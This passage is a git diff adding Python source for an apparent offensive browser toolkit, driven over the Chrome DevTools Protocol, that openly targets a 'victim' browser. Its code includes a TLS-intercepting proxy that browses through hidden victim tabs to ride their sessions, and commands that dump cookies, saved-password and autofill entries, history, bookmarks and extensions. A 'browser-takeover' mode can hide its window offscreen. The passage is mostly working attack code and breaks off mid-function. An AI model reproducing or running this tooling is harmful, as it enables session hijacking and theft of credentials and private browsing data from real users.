+ resource = result.get("resource", {}) + status_code = int(resource.get("httpStatusCode") or (200 if resource.get("success") else 502)) + reason = _reason_phrase(status_code) + headers = _normalize_response_header_map(resource.get("headers", {}) or {}) + body = b"" + stream = resource.get("stream") + if stream: + if request.method != "HEAD" and status_code not in REDIRECT_STATUS_CODES and status_code not in NO_BODY_STATUS_CODES: + body = await self._read_io_stream(stream) + else: + with contextlib.suppress(Exception): + await self._session_send("IO.close", {"handle": stream}, timeout=5) + + if not resource.get("success") and not resource.get("httpStatusCode"): + error_name = resource.get("netErrorName") or "unknown network failure" + raise RuntimeError(f"Network.loadNetworkResource failed for {absolute_url}: {error_name}") + + info("proxy {} <- {} {} bytes={} via Network.loadNetworkResource", self.name, status_code, reason, len(body)) + return ProxiedResponse(status_code=status_code, reason=reason, headers=headers, body=body) + + async def _runtime_fetch(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse: + assert self.session is not None + if request.method not in {"GET", "HEAD"}: + raise RuntimeError(f"Runtime.fetch fallback does not support {request.method}") + + origin = _origin_url(absolute_url) + payload = { + "url": absolute_url, + "method": request.method, + "headers": _resource_extra_headers(request.headers), + "body": base64.b64encode(request.body).decode("ascii") if request.body else None, + } + + try: + with contextlib.suppress(Exception): + await self._disable_fetch() + self._drain_events() + info("proxy {} preparing same-origin runtime fetch at {}", self.name, origin) + await self.cdp.send_no_wait("Page.navigate", {"url": origin}, session_id=self.session.session_id) + await self._wait_for_page_event() + + result = await self._session_send( + "Runtime.evaluate", + { + "expression": _runtime_fetch_expression(payload), + "returnByValue": True, + "awaitPromise": True, + }, + timeout=self.fetch_timeout, + ) + value = result.get("result", {}).get("value") + if not isinstance(value, dict): + raise RuntimeError(f"Runtime.fetch returned unexpected result: {result!r}") + if not value.get("ok"): + raise RuntimeError(f"Runtime.fetch failed for {absolute_url}: {value.get('error')}") + + body = base64.b64decode(value.get("body") or "") + status_code = int(value.get("status") or 502) + reason = str(value.get("statusText") or _reason_phrase(status_code)) + headers = _normalize_response_headers( + [{"name": name, "value": header_value} for name, header_value in value.get("headers", [])] + ) + info("proxy {} <- {} {} bytes={} via Runtime.fetch", self.name, status_code, reason, len(body)) + return ProxiedResponse(status_code=status_code, reason=reason, headers=headers, body=body) + finally: + with contextlib.suppress(Exception): + await self._enable_fetch() + + async def _read_io_stream(self, handle: str) -> bytes: + chunks: list[bytes] = [] + try: + while True: + chunk = await self._session_send("IO.read", {"handle": handle}, timeout=self.fetch_timeout) + data = chunk.get("data", "") + if data: + if chunk.get("base64Encoded"): + chunks.append(base64.b64decode(data)) + else: + chunks.append(str(data).encode("utf-8")) + if chunk.get("eof"): + break + finally: + with contextlib.suppress(Exception): + await self._session_send("IO.close", {"handle": handle}, timeout=5) + return b"".join(chunks) + + def _drain_events(self) -> None: + assert self.events is not None + drained = 0 + while True: + try: + self.events.get_nowait() + drained += 1 + except asyncio.QueueEmpty: + if drained: + info("proxy tab {} drained {} stale events", self.name, drained) + return + + async def _enable_fetch(self) -> None: + assert self.session is not None + await self.session.send("Fetch.enable", FETCH_REQUEST_PATTERNS) + + async def _disable_fetch(self) -> None: + assert self.session is not None + await self.session.send("Fetch.disable") + + async def _session_send(self, method: str, params: dict[str, Any], *, timeout: float | None = None) -> dict[str, Any]: + assert self.session is not None + return await self.cdp.connection.send(method, params, session_id=self.session.session_id, timeout=timeout) + + async def _next_event(self, deadline: float) -> dict[str, Any]: + assert self.events is not None + remaining = deadline - time.monotonic() + if remaining <= 0: + raise TimeoutError(f"proxy tab {self.name} timed out waiting for CDP event") + try: + return await asyncio.wait_for(self.events.get(), timeout=remaining) + except asyncio.TimeoutError as exc: + raise TimeoutError(f"proxy tab {self.name} timed out waiting for CDP event") from exc + + async def _wait_for_page_event(self) -> None: + deadline = time.monotonic() + min(self.fetch_timeout, 5.0) + while True: + try: + event = await self._next_event(deadline) + except TimeoutError: + return + if event.get("method") in {"Page.domContentEventFired", "Page.loadEventFired"}: + return + + async def _wait_for_request_pause(self, absolute_url: str) -> dict[str, Any]: + assert self.session is not None + deadline = time.monotonic() + self.fetch_timeout + target_url = _normalize_url_for_match(absolute_url) + while True: + event = await self._next_event(deadline) + if event.get("method") != "Fetch.requestPaused": + continue + params = event.get("params", {}) + if params.get("responseStatusCode") is not None: + continue + event_url = params.get("request", {}).get("url", "") + if _matches_navigation_url(event_url, target_url): + return event + with contextlib.suppress(Exception): + await self.session.send("Fetch.continueRequest", {"requestId": params["requestId"]}) + + async def _wait_for_response_pause( + self, + request_id: str, + network_id: str | None, + ) -> dict[str, Any] | ProxiedResponse: + deadline = time.monotonic() + self.fetch_timeout + network_response: ProxiedResponse | None = None + network_frame_id: str | None = None + network_url: str | None = None + network_resource_type: str | None = None + while True: + event = await self._next_event(deadline) + method = event.get("method") + params = event.get("params", {}) + event_request_id = params.get("requestId") + + if method == "Network.responseReceived" and network_id and event_request_id == network_id: + response = params.get("response", {}) + status_code = int(response.get("status") or 502) + reason = str(response.get("statusText") or _reason_phrase(status_code)) + headers = _normalize_response_header_map(response.get("headers", {})) + network_response = ProxiedResponse(status_code, reason, headers, b"") + network_frame_id = params.get("frameId") + network_url = response.get("url") + network_resource_type = params.get("type") + info("proxy {} observed Network.responseReceived {} {}", self.name, status_code, reason) + continue + + if method == "Network.loadingFinished" and network_id and event_request_id == network_id: + if network_response is None: + continue + try: + await self._disable_fetch() + except Exception as exc: + warn("Fetch.disable failed before Network body fallback: {}", _format_exception(exc)) + try: + body_result = await self._session_send( + "Network.getResponseBody", + {"requestId": network_id}, + timeout=5, + ) + network_response.body = _body_from_cdp(body_result) + except Exception as exc: + warn("Network.getResponseBody failed for {}: {}", network_id, _format_exception(exc)) + if network_frame_id and network_url: + try: + content_result = await self._session_send( + "Page.getResourceContent", + {"frameId": network_frame_id, "url": network_url}, + timeout=5, + ) + network_response.body = _resource_content_from_cdp(content_result) + except Exception as resource_exc: + warn( + "Page.getResourceContent failed for {}: {}", + network_url, + _format_exception(resource_exc), + ) + if not network_response.body and network_resource_type == "Document": + try: + html_result = await self._session_send( + "Runtime.evaluate", + { + "expression": DOCUMENT_HTML_EXPRESSION, + "returnByValue": True, + "awaitPromise": True, + }, + timeout=5, + ) + html = html_result.get("result", {}).get("value") or "" + network_response.body = str(html).encode("utf-8") + except Exception as dom_exc: + warn( + "Runtime document serialization failed for {}: {}", + network_url or network_id, + _format_exception(dom_exc), + ) + try: + await self._enable_fetch() + except Exception as exc: + warn("Fetch.enable failed after Network body fallback: {}", _format_exception(exc)) + return network_response + + if method == "Network.loadingFailed" and network_id and params.get("requestId") == network_id: + error_text = params.get("errorText") or "unknown network failure" + canceled = " canceled" if params.get("canceled") else "" + raise RuntimeError(f"CDP network request failed{canceled}: {error_text}") + if method != "Fetch.requestPaused": + continue + if params.get("requestId") != request_id: + continue + if params.get("responseStatusCode") is None: + continue + return event + + +class HiddenTabPool: + def __init__( + self, + cdp: CDPClient, + size: int, + fetch_timeout: float, + hidden: bool, + subresource_loader: bool, + deny_downloads: bool, + ) -> None: + self.cdp = cdp + self.size = size + self.fetch_timeout = fetch_timeout + self.hidden = hidden + self.subresource_loader = subresource_loader + self.deny_downloads = deny_downloads + self.tabs: list[HiddenTab] = [] + + async def start(self) -> None: + for index in range(self.size): + tab = HiddenTab( + self.cdp, + f"tab-{index + 1}", + self.fetch_timeout, + self.hidden, + self.subresource_loader, + self.deny_downloads, + ) + await tab.start() + self.tabs.append(tab) + info("proxy tab pool ready with {} tabs", len(self.tabs)) + + async def close(self) -> None: + for tab in self.tabs: + await tab.close() + self.tabs.clear() + + async def fetch(self, request: HttpRequest, absolute_url: str) -> ProxiedResponse: + if not self.tabs: + raise RuntimeError("proxy tab pool is not initialized") + for tab in self.tabs: + if not tab.lock.locked(): + return await tab.fetch(request, absolute_url) + return await self.tabs[0].fetch(request, absolute_url) + + +async def _read_chunked_body(reader: asyncio.StreamReader) -> bytes: + chunks: list[bytes] = [] + while True: + line = await reader.readline() + if not line: + raise ValueError("unexpected EOF reading chunked request body") + chunk_size = int(line.strip().split(b";", 1)[0], 16) + if chunk_size == 0: + while True: + trailer = await reader.readline() + if trailer in {b"\r\n", b"\n", b""}: + break + return b"".join(chunks) + chunks.append(await reader.readexactly(chunk_size)) + await reader.readexactly(2) + + +async def _read_http_request(reader: asyncio.StreamReader) -> HttpRequest | None: + try: + head = await reader.readuntil(b"\r\n\r\n") + except asyncio.IncompleteReadError: + return None + except asyncio.LimitOverrunError as exc: + raise ValueError("request headers exceeded stream limit") from exc + + lines = head.decode("iso-8859-1").split("\r\n") + request_line = lines[0] + if not request_line: + return None + parts = request_line.split(" ", 2) + if len(parts) != 3: + raise ValueError(f"invalid HTTP request line: {request_line!r}") + method, target, version = parts + + headers: list[tuple[str, str]] = [] + for line in lines[1:]: + if not line or ":" not in line: + continue + name, _, value = line.partition(":") + headers.append((name.strip(), value.lstrip())) + + header_map = {name.lower(): value for name, value in headers} + body = b"" + if header_map.get("transfer-encoding", "").lower() == "chunked": + body = await _read_chunked_body(reader) + elif "content-length" in header_map: + length = int(header_map.get("content-length") or "0") + if length > 0: + body = await reader.readexactly(length) + + return HttpRequest(method=method.upper(), target=target, version=version, headers=headers, body=body) + + +async def _write_http_response( + writer: asyncio.StreamWriter, + response: ProxiedResponse, + *, + keep_alive: bool, +) -> None: + headers = [ + (name, value) + for name, value in response.headers + if name.lower() not in HOP_BY_HOP_HEADERS and name.lower() != "content-length" + ] + headers.append(("Content-Length", str(len(response.body)))) + headers.append(("Connection", "keep-alive" if keep_alive else "close")) + + writer.write(f"HTTP/1.1 {response.status_code} {response.reason}\r\n".encode("iso-8859-1")) + for name, value in headers: + writer.write(f"{name}: {value}\r\n".encode("iso-8859-1", errors="ignore")) + writer.write(b"\r\n") + if response.body: + writer.write(response.body) + with contextlib.suppress(ConnectionResetError, BrokenPipeError): + await writer.drain() + + +def _error_response(status: HTTPStatus, message: str) -> ProxiedResponse: + body = message.encode("utf-8", errors="replace") + return ProxiedResponse( + status_code=status.value, + reason=status.phrase, + headers=[("Content-Type", "text/plain; charset=utf-8")], + body=body, + ) + + +class BrowseAsVictimProxy: + def __init__(self, options: BrowseAsVictimProxyOptions): + self.options = options + self.ca = CertAuthority(options.cert_dir) + self.cdp: CDPClient | None = None + self.pool: HiddenTabPool | None = None + self.server: asyncio.AbstractServer | None = None + self.closed = asyncio.Event() + + async def start(self) -> None: + self.ca.ensure_ca() + self.cdp = await CDPClient.connect(self.options.cdp_endpoint, self.options.socks) + self.pool = HiddenTabPool( + self.cdp, + self.options.pool_size, + self.options.fetch_timeout, + self.options.hidden, + self.options.subresource_loader, + self.options.deny_downloads, + ) + await self.pool.start() + self.server = await asyncio.start_server( + self._handle_client, + host=self.options.listen_host, + port=self.options.listen_port, + limit=1024 * 1024, + ) + + async def stop(self) -> None: + if self.closed.is_set(): + return + self.closed.set() + if self.server: + self.server.close() + await self.server.wait_closed() + self.server = None + if self.pool: + await self.pool.close() + self.pool = None + if self.cdp: + await self.cdp.close() + self.cdp = None + + async def wait_closed(self) -> None: + await self.closed.wait() + + async def _handle_client(self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter) -> None: + peer = writer.get_extra_info("peername") or ("?", 0) + info("proxy client connected {}:{}", peer[0], peer[1]) + try: + await self._serve_connection(reader, writer, default_scheme="http") + except Exception as exc: + if _is_expected_client_disconnect(exc): + info("proxy client disconnected {}:{} {}", peer[0], peer[1], _format_exception(exc)) + else: + warn("proxy client error {}:{} {}", peer[0], peer[1], _format_exception(exc)) + finally: + writer.close() + with contextlib.suppress(Exception): + await writer.wait_closed() + + async def _serve_connection( + self, + reader: asyncio.StreamReader, + writer: asyncio.StreamWriter, + *, + default_scheme: str, + connect_host: str | None = None, + connect_port: int | None = None, + ) -> None: + assert self.pool is not None + while True: + try: + request = await _read_http_request(reader) + except Exception as exc: + if _is_expected_client_disconnect(exc): + info("proxy request ended: {}", _format_exception(exc)) + else: + warn("proxy request parse failed: {}", _format_exception(exc)) + return + if request is None: + return + + if request.method == "CONNECT": + await self._handle_connect(request, reader, writer) + return + + keep_alive = request.should_keep_alive() + try: + absolute_url = _absolute_url(request, default_scheme, connect_host, connect_port) + response = await self.pool.fetch(request, absolute_url) + location = response_header(response, "Location") + info( + "proxy {} {} -> {} {} bytes={}{}", + request.method, + absolute_url, + response.status_code, + response.reason, + len(response.body), + f" location={location}" if location else "", + ) + except Exception as exc: + error_text = _format_exception(exc) + warn("proxy fetch failed {} {}: {}", request.method, request.target, error_text) + response = _error_response(HTTPStatus.BAD_GATEWAY, error_text) + keep_alive = False + + await _write_http_response(writer, response, keep_alive=keep_alive) + if not keep_alive: + return + + async def _handle_connect( + self, + request: HttpRequest, + reader: asyncio.StreamReader, + writer: asyncio.StreamWriter, + ) -> None: + hostname, port = _split_authority(request.target, 443) + writer.write(b"HTTP/1.1 200 Connection Established\r\n\r\n") + await writer.drain() + await writer.start_tls(self.ca.ssl_context_for_host(hostname)) + await self._serve_connection( + reader, + writer, + default_scheme="https", + connect_host=hostname, + connect_port=port, + ) + + +def response_header(response: ProxiedResponse, name: str) -> str | None: + name_l = name.lower() + for header_name, value in response.headers: + if header_name.lower() == name_l: + return value + return None + + +async def serve_browse_as_victim_proxy(options: BrowseAsVictimProxyOptions) -> None: + proxy = BrowseAsVictimProxy(options) + await proxy.start() + print(f"CDP proxy listening on http://{options.listen_host}:{options.listen_port}") + print(f"Operator browser proxy: {options.listen_host}:{options.listen_port}") + print(f"CA certificate: {proxy.ca.ca_cert_path.resolve()}") + print("Press Ctrl+C to stop.") + try: + await proxy.wait_closed() + except asyncio.CancelledError: + pass + finally: + await proxy.stop() diff --git a/cdptoolkit/cli.py b/cdptoolkit/cli.py new file mode 100644 index 0000000..f919149 --- /dev/null +++ b/cdptoolkit/cli.py @@ -0,0 +1,723 @@ +from __future__ import annotations + +import asyncio +import json +import sys +from pathlib import Path +from typing import Optional + +import typer +from rich.console import Console +from rich.table import Table + +from .cdp_proxy import BrowseAsVictimProxyOptions, serve_browse_as_victim_proxy +from .client import CDPClient +from .discovery import get_version, list_http_targets +from .log import info, set_verbose, warn +from .redact import redact_cookies +from .remote_browser import RemoteBrowserOptions, serve_remote_browser +from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites + +HELP_SETTINGS = {"help_option_names": ["-h", "--help"]} + +app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +tabs_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +page_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +cookies_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +bookmarks_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +history_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +saved_passwords_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +extensions_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +contexts_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) +browser_takeover_app = typer.Typer(no_args_is_help=True, context_settings=HELP_SETTINGS) + +app.add_typer(tabs_app, name="tabs", help="List browser tabs and capture screenshots of specified tabs.") +app.add_typer(page_app, name="page", help="Create, snapshot, and close targets.") +app.add_typer(cookies_app, name="cookies", help="Collect and export browser cookies through CDP.") +app.add_typer(bookmarks_app, name="bookmarks", help="Collect browser bookmarks/favorites through CDP-rendered WebUI.") +app.add_typer(history_app, name="history", help="Search browser history through CDP-rendered browser WebUI.") +app.add_typer(saved_passwords_app, name="saved-passwords", help="List saved-password sites and dump autofill-backed entries through CDP.") +app.add_typer(extensions_app, name="extensions", help="Inventory extensions through CDP-rendered browser WebUI.") +app.add_typer(contexts_app, name="contexts", help="List and dispose non-default browser contexts.") +app.add_typer(browser_takeover_app, name="browser-takeover", help="Browse through the CDP-attached browser using screencast or proxy mode.") + +console = Console() +REQUIRED_CDP_ENDPOINT = typer.Option( + ..., + "--cdp-endpoint", + "-c", + help="Required CDP HTTP endpoint, e.g. http://127.0.0.1:9001.", +) +_ANYWHERE_VERBOSE = False + + +def normalize_browser_socks(proxy: str | None) -> str | None: + if proxy and proxy.lower().startswith("socks5h://"): + return "socks5://" + proxy[len("socks5h://") :] + return proxy + + +@app.callback() +def main( + verbose: bool = typer.Option(False, "--verbose", "-v", help="Show informational progress on stderr."), +) -> None: + """Python CDP toolkit for Chrome/Edge.""" + + set_verbose(verbose or _ANYWHERE_VERBOSE) + info("verbose logging enabled") + + +def cli() -> None: + global _ANYWHERE_VERBOSE + + args = [] + passthrough = False + for arg in sys.argv[1:]: + if passthrough: + args.append(arg) + elif arg == "--": + passthrough = True + args.append(arg) + elif arg in {"-v", "--verbose"}: + _ANYWHERE_VERBOSE = True + else: + args.append(arg) + app(args=args, prog_name=Path(sys.argv[0]).name) + + +def run(coro): + return asyncio.run(coro) + + +def parse_listen(value: str) -> tuple[str, int]: + host, sep, port_s = value.rpartition(":") + if not sep or not host or not port_s: + raise typer.BadParameter("--listen must be HOST:PORT, e.g. 127.0.0.1:8093") + if host == "*": + host = "0.0.0.0" + try: + port = int(port_s) + except ValueError as exc: + raise typer.BadParameter("--listen port must be an integer") from exc + if port < 1 or port > 65535: + raise typer.BadParameter("--listen port must be between 1 and 65535") + return host, port + + +def dump_json(data, out: Optional[Path] = None) -> None: + text = json.dumps(data, indent=2, ensure_ascii=False) + if out: + out.parent.mkdir(parents=True, exist_ok=True) + out.write_text(text + "\n", encoding="utf-8") + info("wrote JSON artifact {}", out) + console.print(f"[green]wrote[/green] {out}") + else: + console.print_json(text) + + +@app.command() +def discover( + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + json_out: bool = typer.Option(False, "--json"), +) -> None: + """Show CDP version and HTTP target discovery.""" + + async def _run(): + endpoint = await get_version(cdp_endpoint, proxy=socks) + targets = await list_http_targets(cdp_endpoint, proxy=socks) + data = {"version": endpoint.raw, "targets": targets} + if json_out: + dump_json(data) + return + table = Table("Field", "Value") + table.add_row("Browser", endpoint.product) + table.add_row("Protocol", endpoint.protocol_version) + table.add_row("User-Agent", endpoint.user_agent) + table.add_row("WebSocket", endpoint.web_socket_debugger_url) + table.add_row("Targets", str(len(targets))) + console.print(table) + + run(_run()) + + +async def resolve_target(cdp: CDPClient, target_prefix: str) -> str: + info("resolving target prefix {}", target_prefix) + targets_data = await cdp.targets(include_non_pages=True) + matches = [t["targetId"] for t in targets_data if t.get("targetId", "").lower().startswith(target_prefix.lower())] + if not matches: + raise typer.BadParameter(f"No target matches prefix {target_prefix}") + if len(matches) > 1: + raise typer.BadParameter(f"Ambiguous target prefix {target_prefix}: {', '.join(m[:12] for m in matches)}") + info("resolved target {} -> {}", target_prefix, matches[0]) + return matches[0] + + +def normalize_tab(target: dict, index: int) -> dict: + return { + "tab": index, + "targetId": target.get("targetId"), + "targetIdPrefix": (target.get("targetId") or "")[:12], + "title": target.get("title") or "", + "url": target.get("url") or "", + "attached": target.get("attached"), + "browserContextId": target.get("browserContextId"), + } + + +async def browser_tabs(cdp: CDPClient) -> list[dict]: + targets_data = await cdp.targets(include_non_pages=False) + tabs = [normalize_tab(target, index) for index, target in enumerate(targets_data, start=1)] + info("normalized {} page targets as tabs", len(tabs)) + return tabs + + +async def resolve_tab(cdp: CDPClient, tab_ref: str) -> dict: + tabs = await browser_tabs(cdp) + ref = tab_ref.strip() + if ref.isdigit(): + index = int(ref) + if 1 <= index <= len(tabs): + tab = tabs[index - 1] + info("resolved tab index {} -> {}", index, tab["targetId"]) + return tab + raise typer.BadParameter(f"No tab index {index}; run cdptk tabs list") + + ref_l = ref.lower() + id_matches = [tab for tab in tabs if (tab.get("targetId") or "").lower().startswith(ref_l)] + if len(id_matches) == 1: + info("resolved tab id prefix {} -> {}", ref, id_matches[0]["targetId"]) + return id_matches[0] + if len(id_matches) > 1: + raise typer.BadParameter(f"Ambiguous tab id prefix {ref}: {', '.join(tab['targetIdPrefix'] for tab in id_matches)}") + + text_matches = [ + tab + for tab in tabs + if ref_l in (tab.get("title") or "").lower() or ref_l in (tab.get("url") or "").lower() + ] + if len(text_matches) == 1: + info("resolved tab text {} -> {}", ref, text_matches[0]["targetId"]) + return text_matches[0] + if len(text_matches) > 1: + raise typer.BadParameter(f"Ambiguous tab text {ref}: {', '.join(str(tab['tab']) for tab in text_matches)}") + raise typer.BadParameter(f"No tab matches {ref}; run cdptk tabs list") + + +async def capture_tab_screenshot( + cdp_endpoint: str, + socks: str | None, + tab_ref: str, + out: Path | None, + *, + full: bool, +) -> tuple[dict, Path]: + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + tab = await resolve_tab(cdp, tab_ref) + path = out or Path(f"tab-{tab['tab']}-{tab['targetIdPrefix']}.png") + written = await cdp.screenshot(tab["targetId"], path, full=full) + return tab, written + + +@tabs_app.command("list") +def tabs_list( + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + json_out: bool = typer.Option(False, "--json"), +) -> None: + """List browser page tabs with stable indexes for this invocation.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + return await browser_tabs(cdp) + + tabs = run(_run()) + if json_out: + dump_json(tabs) + return + table = Table("#", "Target ID", "Title", "URL") + for tab in tabs: + table.add_row( + str(tab["tab"]), + tab["targetIdPrefix"], + (tab.get("title") or "")[:60], + tab.get("url") or "", + ) + console.print(table) + console.print(f"[cyan]{len(tabs)}[/cyan] tabs") + + +@tabs_app.command("screenshot") +def tabs_screenshot( + tab: str = typer.Argument(..., help="Tab number from `tabs list`, target-id prefix, or unique title/URL text."), + out: Optional[Path] = typer.Option(None, "--out", "-o"), + full: bool = typer.Option(False, "--full"), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), +) -> None: + """Capture a screenshot of a specified tab.""" + + tab_data, path = run(capture_tab_screenshot(cdp_endpoint, socks, tab, out, full=full)) + console.print(f"[green]wrote[/green] {path} from tab {tab_data['tab']} ({tab_data['targetIdPrefix']})") + + +@browser_takeover_app.command("screencast") +def browser_takeover_screencast( + start_url: str = typer.Option("about:blank", "--start-url", "--url", help="Initial URL for the remote browser target."), + listen: str = typer.Option("127.0.0.1:8093", "--listen", "-l", help="Operator web console bind address as HOST:PORT."), + mode: str = typer.Option("offscreen", "--mode", help="offscreen, foreground, background"), + width: int = typer.Option(1440, "--width", min=320, max=7680, help="Remote viewport/window width."), + height: int = typer.Option(900, "--height", min=240, max=4320, help="Remote viewport/window height."), + quality: int = typer.Option(70, "--quality", min=1, max=100, help="JPEG screencast quality."), + every_nth_frame: int = typer.Option(1, "--every-nth-frame", min=1, max=60), + offscreen_left: int = typer.Option(-2400, "--offscreen-left", help="Window X position for offscreen mode."), + offscreen_top: int = typer.Option(-1200, "--offscreen-top", help="Window Y position for offscreen mode."), + close_target: bool = typer.Option(True, "--close-target/--keep-target", help="Close the created browser target on exit."), + import_cookies: bool = typer.Option(True, "--import-cookies/--no-import-cookies", help="Copy default cookies into proxied isolated contexts."), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + browser_socks: Optional[str] = typer.Option(None, "--browser-socks", help="SOCKS proxy for browser egress in an isolated context."), +) -> None: + """Serve a local operator console that drives a CDP target via screencast.""" + + host, port = parse_listen(listen) + if mode not in {"offscreen", "foreground", "background"}: + raise typer.BadParameter("--mode must be offscreen, foreground, or background") + options = RemoteBrowserOptions( + cdp_endpoint=cdp_endpoint, + socks=socks, + browser_socks=browser_socks, + listen_host=host, + listen_port=port, + start_url=start_url, + mode=mode, + width=width, + height=height, + quality=quality, + every_nth_frame=every_nth_frame, + offscreen_left=offscreen_left, + offscreen_top=offscreen_top, + close_target=close_target, + import_cookies=import_cookies, + ) + try: + run(serve_remote_browser(options)) + except KeyboardInterrupt: + console.print("[cyan]stopped[/cyan]") + + +@browser_takeover_app.command("proxy") +def browser_takeover_proxy( + listen: str = typer.Option("127.0.0.1:8080", "--listen", "-l", help="Operator browser proxy bind address as HOST:PORT."), + cert_dir: Path = typer.Option(Path("runs/proxy/certs"), "--cert-dir", help="Directory for the generated CA and leaf certificates."), + pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of hidden CDP fetch tabs."), + fetch_timeout: float = typer.Option(20.0, "--fetch-timeout", min=1.0, max=180.0, help="Seconds to wait for each CDP-backed fetch."), + hidden: bool = typer.Option(True, "--hidden/--background", help="Use hidden targets when supported; otherwise use background tabs."), + subresource_loader: bool = typer.Option( + True, + "--subresource-loader/--navigate-subresources", + help="Use Network.loadNetworkResource for GET/HEAD subresources to avoid victim-side downloads.", + ), + deny_downloads: bool = typer.Option( + True, + "--deny-downloads/--allow-downloads", + help="Ask each hidden CDP fetch tab to deny browser downloads while proxying.", + ), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), +) -> None: + """Serve a local HTTP/HTTPS proxy that fetches upstream through victim Chrome.""" + + host, port = parse_listen(listen) + options = BrowseAsVictimProxyOptions( + cdp_endpoint=cdp_endpoint, + socks=socks, + listen_host=host, + listen_port=port, + cert_dir=cert_dir, + pool_size=pool_size, + fetch_timeout=fetch_timeout, + hidden=hidden, + subresource_loader=subresource_loader, + deny_downloads=deny_downloads, + ) + try: + run(serve_browse_as_victim_proxy(options)) + except KeyboardInterrupt: + console.print("[cyan]stopped[/cyan]") + + +@cookies_app.command("dump") +def cookies_dump( + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + domain: Optional[str] = typer.Option(None, "--domain", "-d"), + out: Optional[Path] = typer.Option(None, "--out", "-o"), + redact: bool = typer.Option(False, "--redact"), +) -> None: + """Dump cookies through Storage.getCookies.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + cookies = await cdp.get_cookies() + if domain: + cookies = [c for c in cookies if domain.lower() in (c.get("domain") or "").lower()] + data = redact_cookies(cookies) if redact else cookies + dump_json(data, out) + console.print(f"[cyan]{len(cookies)}[/cyan] cookies collected") + + run(_run()) + + +@bookmarks_app.command("list") +def bookmarks_list( + text: Optional[str] = typer.Argument(None), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), + domain: Optional[str] = typer.Option(None, "--domain"), + limit: int = typer.Option(1000, "--limit", "-n"), + include_folders: bool = typer.Option(False, "--include-folders"), + tree: bool = typer.Option(False, "--tree", help="Return the raw browser bookmark tree."), + mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"), + out: Optional[Path] = typer.Option(None, "--out", "-o"), +) -> None: + """List bookmarks/favorites through CDP. Does not read profile files.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + return await collect_bookmarks( + cdp, + text=text, + domain=domain, + limit=limit, + include_folders=include_folders, + tree=tree, + mode=mode, + ) + + data = run(_run()) + dump_json(data, out) + count_label = "root nodes" if tree else "bookmark rows" + console.print(f"[cyan]{len(data)}[/cyan] {count_label} collected through CDP") + + +@page_app.command("new") +def page_new( + url: str, + mode: str = typer.Option("visible", "--mode", help="visible, background, hidden, isolated"), + browser_socks: Optional[str] = typer.Option(None, "--browser-socks"), + hold: bool = typer.Option(False, "--hold", help="Keep the CDP session open. Required for useful hidden targets."), + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), +) -> None: + """Create a target.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + context_id = None + effective_browser_socks = normalize_browser_socks(browser_socks) + if mode == "isolated" or browser_socks: + context_id = await cdp.create_browser_context(proxy_server=effective_browser_socks, dispose_on_detach=hold) + target_id = await cdp.create_target(url, mode=("background" if mode == "isolated" else mode), browser_context_id=context_id) + dump_json( + { + "targetId": target_id, + "browserContextId": context_id, + "mode": mode, + "browserSocks": browser_socks, + "browserSocksEffective": effective_browser_socks, + "held": hold, + } + ) + if mode == "hidden" and not hold: + warn("hidden targets are session-lifetime only; use --hold to keep it alive") + if context_id and not hold: + warn("created persistent browser context; dispose with cdptk contexts dispose") + if hold: + console.print("[cyan]holding CDP session open; press Ctrl+C to close[/cyan]") + try: + while True: + await asyncio.sleep(3600) + except KeyboardInterrupt: + pass + + run(_run()) + + +@contexts_app.command("list") +def contexts_list( + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), +) -> None: + """List non-default browser contexts.""" + + async def _run(): + async with await CDPClient.connect(cdp_endpoint, socks) as cdp: + context_ids = await cdp.browser_contexts() + dump_json({"browserContextIds": context_ids, "count": len(context_ids)}) + + run(_run()) + + +@contexts_app.command("dispose") +def contexts_dispose( + browser_context_id: str, + cdp_endpoint: str = REQUIRED_CDP_ENDPOINT, + socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."), +) -> None: + """Dispose a browser context and close its targets.""" + + async def _run(): + async with await 